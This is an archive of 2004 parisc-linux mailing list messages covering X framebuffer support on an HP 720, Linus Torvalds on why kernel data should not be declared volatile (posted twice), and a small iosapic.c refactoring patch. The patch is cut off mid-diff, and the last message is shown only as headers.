To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 12324 invoked by uid 65534); 27 Jun 2004 16:26:11 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx013) with SMTP; 27 Jun 2004 18:26:11 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 946683BDEE; Sun, 27 Jun 2004 10:26:08 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 04750-07; Sun, 27 Jun 2004 10:26:08 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 98DCA3BE05; Sun, 27 Jun 2004 10:25:53 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6D4303BDEE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 10:25:51 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 04752-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 10:25:50 -0600 (MDT)
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by free.linux.hp.com (Postfix) with ESMTP id B1D023BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 10:25:49 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 4122D4B7EF; Sun, 27 Jun 2004 18:25:48 +0200 (CEST)
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
In-Reply-To: <20040627140634.9D4E3246C2A@mail.customers.edis.at>
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
User-Agent: Mutt/1.5.6i
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21770


--===============1463962602==
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="wjmr0On0zl4P36pE"
Content-Disposition: inline


--wjmr0On0zl4P36pE
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Sun, 2004-06-27 16:06:33 +0200, Wolf-Dieter Kattnig <kattnig@cnd-online.=
com>
wrote in message <20040627140634.9D4E3246C2A@mail.customers.edis.at>:
> I've had no problems whatsoever setting up Woody on my 720 - except for o=
ne
> glitch - I can't get X to work.
>=20
> My graphics adaptor is an HPA2269A. Everything looks good, but I cant get
> /dev/fb0 to work. My kernel is 2.4.18-32.
>=20
> Is X supported on this configuration at all? Help would be appreciated.

STI framebuffer support is compiled in? Could you please provide kernel
log output? What XFree error messages do you get? What XFree driver did
you configure?

Missing /dev/fb0 indicates a problem (or a missing) framebuffer driver.
You'd probably update to something more recent than 2.4.18 ...

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
   ret =3D do_actions((curr | FREE_SPEECH) & ~(NEW_COPYRIGHT_LAW | DRM | TC=
PA));

--wjmr0On0zl4P36pE
Content-Type: application/pgp-signature; name="signature.asc"
Content-Description: Digital signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFA3vULHb1edYOZ4bsRAq1rAJ4/uHSFnDdT5xp5XmHf48chvSdGqgCeJdTH
IZM0AfMb++lnAJ/HiXVYFO0=
=cc7Z
-----END PGP SIGNATURE-----

--wjmr0On0zl4P36pE--

--===============1463962602==
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
--===============1463962602==--



From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@osdl.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: more (insane) jiffies ranting
Date: Sun, 27 Jun 2004 10:39:08 -0700 (PDT)
Lines: 86
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0406271022430.16079__3194.33437330208$1416623488$gmane$org@ppc970.osdl.org>
References: <1088266111.1943.15.camel@mulgrave>
	<Pine.LNX.4.58.0406260924570.14449@ppc970.osdl.org>
	<20040626221802.GA12296@taniwha.stupidest.org>
	<Pine.LNX.4.58.0406261536590.16079@ppc970.osdl.org>
	<20040627015501.GA14647@taniwha.stupidest.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623488 10073 80.91.229.3 (22 Nov 2014 02:31:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:28 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 Andrew Morton <akpm@osdl.org>,
 Paul Jackson <pj@sgi.com>,
 Linux Kernel <linux-kernel@vger.kernel.org>,
 PARISC list <parisc-linux@lists.parisc-linux.org>
To: Chris Wedgwood <cw@f00f.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6112 invoked by uid 65534); 27 Jun 2004 17:40:53 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx038) with SMTP; 27 Jun 2004 19:40:53 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E6BA73BE48; Sun, 27 Jun 2004 11:40:48 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 05840-10; Sun, 27 Jun 2004 11:40:48 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 7CBF53BE40; Sun, 27 Jun 2004 11:40:41 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 263053BDEE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 11:40:37 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 05840-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 11:40:36 -0600 (MDT)
Original-Received: from mail.osdl.org (fw.osdl.org [65.172.181.6])
	by free.linux.hp.com (Postfix) with ESMTP id 865593BCA9
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 27 Jun 2004 11:40:35 -0600 (MDT)
Original-Received: from localhost (build.pdx.osdl.net [172.20.1.2])
	by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i5RHdAZ28495;
	Sun, 27 Jun 2004 10:39:11 -0700
In-Reply-To: <20040627015501.GA14647@taniwha.stupidest.org>
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21771



On Sat, 26 Jun 2004, Chris Wedgwood wrote:
> 
> On Sat, Jun 26, 2004 at 03:48:34PM -0700, Linus Torvalds wrote:
> 
> > But for most data structures, the way to control access is either
> > with proper locking (at which point they aren't volatile any more)
> > or through proper accessor functions (ie "jiffies_64" should
> > generally only be accessed with something that understands about
> > low/high word and update ordering and re-testing).
> 
> I don't entirely buy this.  Right now x86 code just assumes 32-bit
> loads are atomic and does them blindly in lots of places (ie. every
> user of jiffies just about).
> 
> Without the volatile it seems entirely reasonable gcc will produce
> correct, but wrong code here so I would argue 'volatile' is a property
> of the data in this case.

It's a property of the data _iff_:
 - it is _always_ volatile
 - it is only ever used atomically: this also means that it must be 
   totally independent of _all_ other data structures and have no linkages 
   to anything else.

Snd basically, the above is pretty much never true except possibly for 
real I/O accesses and sometimes things like simple "flags" (ie it's fine 
to use "volatile sigatomic_t flag;" in user programs to have signal 
handlers say "something happened" in a single-threaded environment).

NOTE! The "single-threaded environment" part really is important, and is 
one of the historical reasons for volatile having been more useful than it 
is today. If you are single-threaded and don't have issues like CPU memory 
ordering etc, then you can let the compiler do more of the work, and there 
are a lot of lockless algorithms that you can use that only depend on 
fairly simple semantics for "volatile".

But the fact is, for the kernel none of the above is ever really true. 
A 32-bit-atomic "jiffies" comes the closest, but even there the "always" 
property wasn't true - it wasn't true in the update phase, and we 
literally used to have something like this:

	*((unsigned long *)&jiffies)++;

to update jiffies and still get good code generation (now that we have a
64-bit jiffies and need to do more complex stuff anyway, we don't have
that any more, but you should be able to find it in 2.3.x kernels if I
remember correctly).

And _anything_ that has any data dependencies, "volatile" is totally
useless. Even the (acceptable in single-threaded user-space) "flag" thing 
is not valid usage in the kernel, since for a flag in a multi-threaded 
environment you still need an explicit CPU memory barrier in the code, 
making it impossible for the compiler to do the right thing anyway.

> > I repeat: it is the _code_ that knows about volatile rules, not the
> > data structure.
> 
> Except as I mentioned we have exceptions to this right now.

No we don't. The _only_ accepted exception is the special case of "the low
bits of jiffies", and that's accepted partly because of historical
reasons, and partly because it's fundamentally a data structure we don't
really care that much about. There should be no other ones.

And that special case _literally_ is only for people who don't care that 
much. Anybody who cares about "real time" needs to get xtime_lock and do 
the proper magic to get a real date.

So I don't see your argument. I'm obviously saying that "yes, we have 
_one_ case where we make a data structure volatile", but at the same time, 
that case is very much a "we don't really care too much about precision 
there, and even so people think we should have real accessor functions".

So I stand by the rule: we should make _code_ have the access rules, and
the data itself should never be volatile. And yes, jiffies breaks that
rule, but hey, that's not something I'm proud of.

		Linus
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@osdl.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: more (insane) jiffies ranting
Date: Sun, 27 Jun 2004 10:39:08 -0700 (PDT)
Lines: 80
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.58.0406271022430.16079__43188.0799624652$1416623489$gmane$org@ppc970.osdl.org>
References: <1088266111.1943.15.camel@mulgrave> <Pine.LNX.4.58.0406260924570.14449@ppc970.osdl.org>
 <20040626221802.GA12296@taniwha.stupidest.org> <Pine.LNX.4.58.0406261536590.16079@ppc970.osdl.org>
 <20040627015501.GA14647@taniwha.stupidest.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN;
  charset=US-ASCII
X-Trace: ger.gmane.org 1416623489 10075 80.91.229.3 (22 Nov 2014 02:31:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:29 +0000 (UTC)
Cc: James Bottomley <James.Bottomley@SteelEye.com>,
 Andrew Morton <akpm@osdl.org>,
 Paul Jackson <pj@sgi.com>,
 PARISC list <parisc-linux@lists.parisc-linux.org>,
 Linux Kernel <linux-kernel@vger.kernel.org>
To: Chris Wedgwood <cw@f00f.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <linux-kernel-owner+deller=40gmx.de-S264414AbUF0Rkk@vger.kernel.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 30066 invoked by uid 65534); 27 Jun 2004 17:41:46 -0000
Original-Received: from vger.kernel.org (EHLO vger.kernel.org) (12.107.209.244)
  by mx0.gmx.net (mx011) with SMTP; 27 Jun 2004 19:41:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S264414AbUF0Rkk (ORCPT <rfc822;deller@gmx.de>);
	Sun, 27 Jun 2004 13:40:40 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S264419AbUF0Rkk
	(ORCPT <rfc822;linux-kernel-outgoing>);
	Sun, 27 Jun 2004 13:40:40 -0400
Original-Received: from fw.osdl.org ([65.172.181.6]:43447 "EHLO mail.osdl.org")
	by vger.kernel.org with ESMTP id S264414AbUF0Rkg (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sun, 27 Jun 2004 13:40:36 -0400
Original-Received: from localhost (build.pdx.osdl.net [172.20.1.2])
	by mail.osdl.org (8.11.6/8.11.6) with ESMTP id i5RHdAZ28495;
	Sun, 27 Jun 2004 10:39:11 -0700
In-Reply-To: <20040627015501.GA14647@taniwha.stupidest.org>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
X-Mailing-List: linux-kernel@vger.kernel.org
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21772



On Sat, 26 Jun 2004, Chris Wedgwood wrote:
> 
> On Sat, Jun 26, 2004 at 03:48:34PM -0700, Linus Torvalds wrote:
> 
> > But for most data structures, the way to control access is either
> > with proper locking (at which point they aren't volatile any more)
> > or through proper accessor functions (ie "jiffies_64" should
> > generally only be accessed with something that understands about
> > low/high word and update ordering and re-testing).
> 
> I don't entirely buy this.  Right now x86 code just assumes 32-bit
> loads are atomic and does them blindly in lots of places (ie. every
> user of jiffies just about).
> 
> Without the volatile it seems entirely reasonable gcc will produce
> correct, but wrong code here so I would argue 'volatile' is a property
> of the data in this case.

It's a property of the data _iff_:
 - it is _always_ volatile
 - it is only ever used atomically: this also means that it must be 
   totally independent of _all_ other data structures and have no linkages 
   to anything else.

Snd basically, the above is pretty much never true except possibly for 
real I/O accesses and sometimes things like simple "flags" (ie it's fine 
to use "volatile sigatomic_t flag;" in user programs to have signal 
handlers say "something happened" in a single-threaded environment).

NOTE! The "single-threaded environment" part really is important, and is 
one of the historical reasons for volatile having been more useful than it 
is today. If you are single-threaded and don't have issues like CPU memory 
ordering etc, then you can let the compiler do more of the work, and there 
are a lot of lockless algorithms that you can use that only depend on 
fairly simple semantics for "volatile".

But the fact is, for the kernel none of the above is ever really true. 
A 32-bit-atomic "jiffies" comes the closest, but even there the "always" 
property wasn't true - it wasn't true in the update phase, and we 
literally used to have something like this:

	*((unsigned long *)&jiffies)++;

to update jiffies and still get good code generation (now that we have a
64-bit jiffies and need to do more complex stuff anyway, we don't have
that any more, but you should be able to find it in 2.3.x kernels if I
remember correctly).

And _anything_ that has any data dependencies, "volatile" is totally
useless. Even the (acceptable in single-threaded user-space) "flag" thing 
is not valid usage in the kernel, since for a flag in a multi-threaded 
environment you still need an explicit CPU memory barrier in the code, 
making it impossible for the compiler to do the right thing anyway.

> > I repeat: it is the _code_ that knows about volatile rules, not the
> > data structure.
> 
> Except as I mentioned we have exceptions to this right now.

No we don't. The _only_ accepted exception is the special case of "the low
bits of jiffies", and that's accepted partly because of historical
reasons, and partly because it's fundamentally a data structure we don't
really care that much about. There should be no other ones.

And that special case _literally_ is only for people who don't care that 
much. Anybody who cares about "real time" needs to get xtime_lock and do 
the proper magic to get a real date.

So I don't see your argument. I'm obviously saying that "yes, we have 
_one_ case where we make a data structure volatile", but at the same time, 
that case is very much a "we don't really care too much about precision 
there, and even so people think we should have real accessor functions".

So I stand by the rule: we should make _code_ have the access rules, and
the data itself should never be volatile. And yes, jiffies breaks that
rule, but hey, that's not something I'm proud of.

		Linus

From - Thu Nov 08 21:32:13 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bjorn Helgaas <bjorn.helgaas@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] tiny iosapic abstraction
Date: Mon, 28 Jun 2004 12:57:06 -0600
Lines: 87
Approved: news@gmane.org
Message-ID: <200406281257.06793.bjorn.helgaas@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623489 10077 80.91.229.3 (22 Nov 2014 02:31:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23838 invoked by uid 65534); 28 Jun 2004 18:57:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx003) with SMTP; 28 Jun 2004 20:57:48 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 465163BDF2; Mon, 28 Jun 2004 12:57:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 19516-06; Mon, 28 Jun 2004 12:57:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 3368D3BDE2; Mon, 28 Jun 2004 12:57:16 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9DB073BDD6
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Jun 2004 12:57:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 19483-09 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Jun 2004 12:57:12 -0600 (MDT)
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by free.linux.hp.com (Postfix) with ESMTP id 785C53BDD5
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Jun 2004 12:57:12 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp.fc.hp.com [15.11.136.119])
	by atlrel8.hp.com (Postfix) with ESMTP id 2152317B06
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Jun 2004 14:57:09 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.11.146.30])
	by smtp1.fc.hp.com (Postfix) with ESMTP id 9918A38CB7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Jun 2004 12:57:07 -0600 (MDT)
Original-Received: from eeyore.helgaas (lart.fc.hp.com [15.11.146.31])
	by ldl.fc.hp.com (Postfix) with ESMTP id 3C83A1341ED
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 28 Jun 2004 12:57:07 -0600 (MDT)
User-Agent: KMail/1.6.2
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21773

Introduce a tiny bit of abstraction to parisc iosapic.c.

This makes more obvious the two reads to flush previous writes to the
hardware in iosapic_wr_irt_entry().  ia64 does neither one (perhaps
because we don't share vectors yet).  But even if the flush is really
needed on parisc, wouldn't only the second be needed, i.e.:

+	iosapic_write(isp->isi_hpa, IOSAPIC_IRDT_ENTRY(vi->irqline), dp0);
+	iosapic_write(isp->isi_hpa, IOSAPIC_IRDT_ENTRY_HI(vi->irqline), dp1);
	/* Read the window register to flush the writes down to HW  */
 	dp1 = readl(isp->isi_hpa+IOSAPIC_REG_WINDOW);

--- linux-2.6.7-pa1-iosapic/drivers/parisc/iosapic.c.orig	Fri Jun 25 15:19:46 2004
+++ linux-2.6.7-pa1-iosapic/drivers/parisc/iosapic.c	Fri Jun 25 16:12:45 2004
@@ -233,6 +233,18 @@
 #define IOSAPIC_IRDT_ENTRY(idx)		(0x10+(idx)*2)
 #define IOSAPIC_IRDT_ENTRY_HI(idx)	(0x11+(idx)*2)
 
+static inline unsigned int iosapic_read(unsigned long iosapic, unsigned int reg)
+{
+	writel(reg, iosapic + IOSAPIC_REG_SELECT);
+	return readl(iosapic + IOSAPIC_REG_WINDOW);
+}
+
+static inline void iosapic_write(unsigned long iosapic, unsigned int reg, u32 val)
+{
+	writel(reg, iosapic + IOSAPIC_REG_SELECT);
+	writel(val, iosapic + IOSAPIC_REG_WINDOW);
+}
+
 /*
 **     GFP_KERNEL includes __GFP_WAIT flag and that may not
 **     be acceptable. Since this is boot time, we shouldn't have
@@ -718,13 +730,8 @@
 	struct iosapic_info *isp = vi->iosapic;
 	u8 idx = vi->irqline;
 
-	/* point the window register to the lower word */
-	writel(IOSAPIC_IRDT_ENTRY(idx), isp->isi_hpa+IOSAPIC_REG_SELECT);
-	*dp0 = readl(isp->isi_hpa+IOSAPIC_REG_WINDOW);
-
-	/* point the window register to the higher word */
-	writel(IOSAPIC_IRDT_ENTRY_HI(idx), isp->isi_hpa+IOSAPIC_REG_SELECT);
-	*dp1 = readl(isp->isi_hpa+IOSAPIC_REG_WINDOW);
+	*dp0 = iosapic_read(isp->isi_hpa, IOSAPIC_IRDT_ENTRY(idx));
+	*dp1 = iosapic_read(isp->isi_hpa, IOSAPIC_IRDT_ENTRY_HI(idx));
 }
 
 
@@ -740,16 +747,12 @@
 		isp->isi_hpa,
 		dp0, dp1);
 
-	/* point the window register to the lower word */
-	writel(IOSAPIC_IRDT_ENTRY(vi->irqline), isp->isi_hpa+IOSAPIC_REG_SELECT);
-	writel( dp0, isp->isi_hpa+IOSAPIC_REG_WINDOW);
+	iosapic_write(isp->isi_hpa, IOSAPIC_IRDT_ENTRY(vi->irqline), dp0);
 
 	/* Read the window register to flush the writes down to HW  */
 	dp0 = readl(isp->isi_hpa+IOSAPIC_REG_WINDOW);
 
-	/* point the window register to the higher word */
-	writel(IOSAPIC_IRDT_ENTRY_HI(vi->irqline), isp->isi_hpa+IOSAPIC_REG_SELECT);
-	writel( dp1, isp->isi_hpa+IOSAPIC_REG_WINDOW);
+	iosapic_write(isp->isi_hpa, IOSAPIC_IRDT_ENTRY_HI(vi->irqline), dp1);
 
 	/* Read the window register to flush the writes down to HW  */
 	dp1 = readl(isp->isi_hpa+IOSAPIC_REG_WINDOW);
@@ -881,11 +884,7 @@
 	struct iosapic_info *isp = vi->iosapic;
 
 	for (d0=0x10; d0<0x1e; d0++) {
-		/* point the window register to the lower word */
-		writel(d0, isp->isi_hpa+IOSAPIC_REG_SELECT);
-
-		/* read the word */
-		d1 = readl(isp->isi_hpa+IOSAPIC_REG_WINDOW);
+		d1 = iosapic_read(isp->isi_hpa, d0);
 		printk(" %x", d1);
 	}
 }
@@ -933,11 +932,7 @@
 	ASSERT(isi);
 	ASSERT(isi->isi_hpa);
 
-	/* point window to the version register */
-	writel(IOSAPIC_REG_VERSION, isi->isi_hpa+IOSAPIC_REG_SELECT);

From - Thu Nov 08 21:32:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] tiny iosapic abstraction
Date: Wed, 30 Jun 2004 23:44:31 -0600
Lines: 24
Approved: news@gmane.org
Message-ID: <20040701054431.GA18499@colo.lackof.org>
References: <200406281257.06793.bjorn.helgaas@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623489 10079 80.91.229.3 (22 Nov 2014 02:31:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:29 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bjorn Helgaas <bjorn.helgaas@hp.com>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31657 invoked by uid 65534); 1 Jul 2004 05:45:13 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx005) with SMTP; 01 Jul 2004 07:45:13 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 912343BDDB; Wed, 30 Jun 2004 23:44:59 -0600 (MDT)
